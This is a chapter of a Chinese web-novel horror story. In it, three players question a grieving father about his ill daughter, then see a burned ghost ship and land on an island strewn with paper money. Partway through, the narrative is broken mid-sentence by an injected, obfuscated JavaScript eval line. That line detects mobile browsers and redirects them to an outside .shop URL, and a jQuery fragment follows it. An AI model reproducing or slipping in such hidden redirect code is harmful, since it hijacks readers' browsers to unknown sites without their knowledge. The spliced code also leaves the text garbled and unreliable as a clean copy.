陶宁带着两样东西走出房间。
甲板上三个人刚刚处理完蔡旭的尸体,现在互相僵持,像是又爆发了一次争吵。
陶宁走出来,“怎么了?”
李季疾步往船舱内走,一把撞开她,嘴里低骂:“杀人犯!”
冲进自己房间甩上了门,动静震天响。
“他不让我们把蔡旭的尸体扔进湖里,但最终没打过白苓。”林宇说。
白苓擦着嘴角,眼角湿润,面色发红,看起来又难受又愤怒。她看到陶宁眼睛发亮:“你终于出来了,我刚刚都打算进去找你,这段时间你一直在厕所吗?”
“没,”陶宁摇头,“我见到了无皮人,找了点东西。”
“你见到它了!”白苓瞪大眼睛冲过来,“你没事吧?它有没有伤人,是怪物吗?”
林宇也闯到陶宁面前:“它长得很吓人,你没被吓到吧?”
陶宁摇头。
“刚刚收尸没跟上你,幸好你没事。过副本什么都靠你,我好没用都帮不上忙,”白苓自责,随即握拳,“以后你杀人我都给你收尸。”
林宇:“……”
陶宁:“……”
林宇:“你精神也不正常了吗?”
陶宁:“也可以。”
“……”
似乎有种尴尬的气息在三人之间蔓延。
陶宁轻咳两声,盘腿而坐,把东西摆到两人面前:“我找到了这些。”
本着集思广益人多力量大的原则,陶宁把自己知道的告诉他们。
“也就是说,张晚晴就是那个无皮人,”林宇咬住指甲,被陶宁拍掉,“也就是说……她先见到了两次幽灵船,然后就失踪了……这说不通啊!我们在岸上知道的是张晚晴失踪了,但现在有个无皮人是张晚晴,在这艘船上,这船是刘姨带来的,那张晚晴就不该说失踪啊!他们不可能没找过自己的船吧。”
“对,”白苓点头,“很奇怪。而且无皮人没有怪物图鉴,更奇怪!”
“疑点很多,”陶宁把奶粉罐推出去,“除了日记还有这个,你们谁英文好?”
白苓接过摇摇头,递给林宇,林宇苦瓜脸:“一个字都看不懂。”
“奶粉……奶粉一般是婴儿吃的,”白苓思索着,“没听说张晚晴有女儿啊,还是说她怀孕了?但也不能,如果她怀孕,日记里一定会写出来。诶——你们说会不会是刘姨的亲孩子的?”
白苓煞有介事:“导游都这个年纪了,从出现到现在都没提过她的亲孩子!但明眼人都看得出来她非常伤心,有没有可能实际上她的亲孩子已经死了,且与老张有关,所以她那么恨老张。而张晚晴跟她亲生的年龄相近,她把张晚晴当作了补偿。”
“好像,确实说得通。”林宇点头。
陶宁沉默,指尖点着地面陷入思索。没有证据能证明白苓说的是错的,但她总觉得有哪里不对劲。
进入副本到现在不到四十八小时,体感却过了很久,桩桩件件异常清晰地浮现在陶宁脑海。进入副本随处可见的汽油味,老张不愿找女儿只想离开,刘姨对老张的恨……
千丝万绪,最后落在了「正确的剧情线」上。
「正确的剧情线」要求她把老张带上船,说明这个剧情人物应当有大用,但从上船至今,他连房间都没出过。
陶宁这么想也这么做了,她翻身而起,拎起罐子拿上日记往杂物间走去。
老张还在里面,依旧是蜷缩在角落的样子,依旧怀抱照片,两眼紧闭,看似睡着了。
陶宁拍拍他肩膀:“安全员,醒醒!”
老张悠悠睁开眼,陶宁嘴角扯出弧度:“你这安全员当得真惬意啊,我们遭遇两次危机,你面都没露。”
“你,你又没给我钱,我是来找我女儿的。”
“是,你是来了找你女儿的,可我也没看见你有什么行动。你知不知道船上有这些东西?看——「爸爸救我」,力透纸背啊,她多想回来,可最终还是失踪了。能不能看出来她有多怨、有多恨你?”
老张眼神变了,纵然掩饰得很好,陶宁依旧捕捉到了一闪而过的悔恨,和某种……戒备。
“你肯定见过这两样东西吧。”
“没,没有。”
“你放屁,老张,奶粉罐你没见过?谁家儿女有这种东西都会引起父母的注意吧!你总不能说这是游客落船上的,它和你女儿的日记本可装在一个抽屉里呢。”
陶宁语气咄咄逼人,白苓诧异地瞧她一眼,跟上比划道:“老实交代,我可没她脾气好,不说直接打!”
老张嘴唇翕动,忽然哭了出来,越哭越凶,整个人如风中摇曳的旗帜般抖起来,“女,女儿啊!”
陶宁按住他,“我就想问你,第一,这个奶粉是给谁吃的?”
老张抹着脸,呜咽声渐渐停息时,说出了一个让所有人都没想到的答案。
“晚晴。”
死寂。
“给张晚晴的?”
“是,”老张面如死灰,“她从小就得了治不好的病,枫糖尿病。”
陶宁嘴唇微张,眼睛圆瞪,她从来没想过会是这样,联想到之前种种,陶宁问:“这种病,会让人散发甜味?”
“是。她当时……已经快不行了,我不让她去搜救就是这个原因。但她不听我的,非要去。”
陶宁缓了缓,眸光闪动,又问:“第二,刘姨是张晚晴的小姨,为什么她会说张晚晴是她孩子,她又为什么那么恨你?”
这次老张回答得更慢:“刘淑芬是我前妻的妹妹。晚晴生下来就有病,差点死了,淑芬借钱给她保住了命。后来我老婆跟我离了,走了,淑芬没有孩子,把晚晴当做自己的娃。”
老张又哭起来,“是我没照顾好晚晴,我应该把她关起来的。乐游号有问题,幽灵船有问题啊!她怎么那么傻,她怎么非要去找啊!”
接下来无论陶宁再怎么摇他,都无法让老张重新清醒,他深陷在情绪里,哭得昏天黑地。
陶宁颓然放下手,她要问的还没问完。然而眼前虚空中,渐渐浮现出一行字。
【主线剧情解锁度:80%】
她问的两个问题有用。陶宁长出一口气,强迫自己压下杂乱心绪冷静下来。
情况看似已经很明朗,张晚晴身患绝症,处在死亡边缘,老张因为惧怕幽灵船,又深知女儿不可能生还,求生欲击败父爱想要逃离。
但幽灵船如何导致张晚晴的死亡,这个副本最大的案件明明是乐游号失踪案,各种线索指向的核心却是张晚晴。
为什么会这样也依旧未知。
陶宁隐隐觉得,离揭开真相,还差最关键的那枚链条。
*
船身摇晃。
这里能找的线索都已经找到,剧情人物也无法再互动,陶宁和另两人盘坐在杂物间地上,享受难得的片刻安宁。
她有点累,思考也是费体力的,吃了一片恢复药剂,却不如最开始那样神清气爽了。
这里的药剂原来也是有耐药性的。短期吃太多,效果就会下降。
白苓,“这个病居然终身都要吃特制奶粉,我还是第一次听说。”
林宇接话:“确实挺惨。唉——这个副本好难啊。还不如给我来追逐战搏击战,起码能死个痛快,这种渗进骨子里的恐怖、搞心态的诡异,太难熬了……”
“要真是那样你就要叫为什么那么累了,你那小身板能跑得过诡异吗?”
“我好歹也有一米八好吗?”
白苓浅笑起来,她把头轻轻靠在陶宁肩上,“男生永远放不下对身高的执念。”
她抬眸见陶宁靠在墙上闭目养神,一副不想理人的样子,便也不再发出声音,静静靠着。林宇也合上嘴。
静
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17633357|206484||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
谧维持不到五分钟,船身剧烈抖动了一下,陶宁皱眉,睁开眼。
林宇轻轻拉住她袖子,陶宁看过去时他指向腕表:“我们快到冠心岛了。原计划十二点到,现在已经十一点半了。刚刚那阵抖动应该是从自动驾驶切换到手动。”
陶宁拿登山杖撑着站起身,微微侧身避开白苓伸来的手,她做得不动声色,白苓只当她没看见。
推开门,探出头,船舱那头驾驶室里,确实传来轰轰的发动机声音。
“冠心岛会是这个副本的最后一站吗?”白苓在她身后轻轻抓住她的胳膊。
会是吗,还剩20%的主线剧情解锁度,那岛上到底藏着什么。
寂静再次笼罩下来,发动机轰鸣,但,慢慢地……
似乎多了道声音。
侧耳倾听,声音由远及近,逐渐清晰。
无比欢快的旋律。
“轻轻摇,轻轻摇,船儿水中漂~轻轻摇,轻轻摇,船儿漂呀漂~微风吹动水面,涌起一阵波涛,精神爽,乐陶陶,大家齐欢笑。”
听清楚的瞬间陶宁头皮发麻,她两手交叉死死捏住佛珠,呼吸都停止了。
“我靠!!!”白苓低吼,眼泪啪嗒掉下来,“这是什么我靠!这不瘆得慌吗!”
林宇也瑟瑟发抖,抬手就咬。
“声音来源在外面,”陶宁尽量压住颤意,“我们要出去看看吗?”
“真,真的吗?”白苓已经泪流满面了,她狠狠咬住嘴唇,点头道,“你去我就去,我们在一起,互相照应。”
白苓抱着陶宁胳膊,林宇拉着陶宁另一只,三人连在一起探出甲板。
只见浓雾已散,天高水阔,在不远处的湖面,静静行驶着一艘船。
乌黑,发焦,到处是火烧的痕迹,空无一人。扑过来浓厚的焦臭味与汽油味。
【恭喜你解锁景观——幽灵船!】
【景观图鉴《迷雾藤湖》已点亮:3/8】
【幽灵船(真实版)(藤湖)】
【本景观与其他景观共同绑定怪物,暂不解锁怪物图鉴。】
“幽灵船。”陶宁低念。
“乐游号?”白苓和林宇却叫道。
陶宁眉尖微动:“你们看到了什么?”
“那艘船身上写着乐游号,上面有好多人,还跟我们打招呼。”
“别看!”陶宁拉着两人缩回船舱,眉心紧拧,“我看到的是艘被烧焦的船,没有人。”
“我们看到的不一样?!”
这不对劲。她解锁了「正确的剧情线」,其他人也因此受益,大家都应该走在这条路线上才是,为什么唯独她不同。
“这个景观比之前的更古怪。”
“要叫李季也出来看看吗?”
不等他们说话,船尾传来巨响,幽灵船被一把椅子砸中,紧接着响起李季洪亮的谩骂。
“不用叫了。”
船身震荡,随着一声汽笛长鸣,它靠岸了。
与此同时,那艘诡船同样靠岸,停泊在他们旁边。
立在甲板上,事到如今,不下去也得下去。且这本就是他们的目的地。
踩上冠心岛土壤的一瞬间,陶宁两眼发黑,几乎要软倒在地,这座岛让她体力值下降更快了。
白苓及时扶住了她。
陶宁无力垂首,视线中,脚尖飘来一张纸钱。
圆形,挖方孔,纯白。
抬头四望,满目苍凉。
荒草丛生,漫过了石砖路,灌木丛和树林久未修剪,野蛮生长。沿着路往后,那边建筑的墙壁上满是青苔。
“他们也从乐游号上下来了。”白苓说。
陶宁没往她所指的方向看。
她只仰起头,视野里,只有浓白的天,和不间断飘下来的,纸钱。
密密麻麻铺在地上,一片由买路钱铺就的路。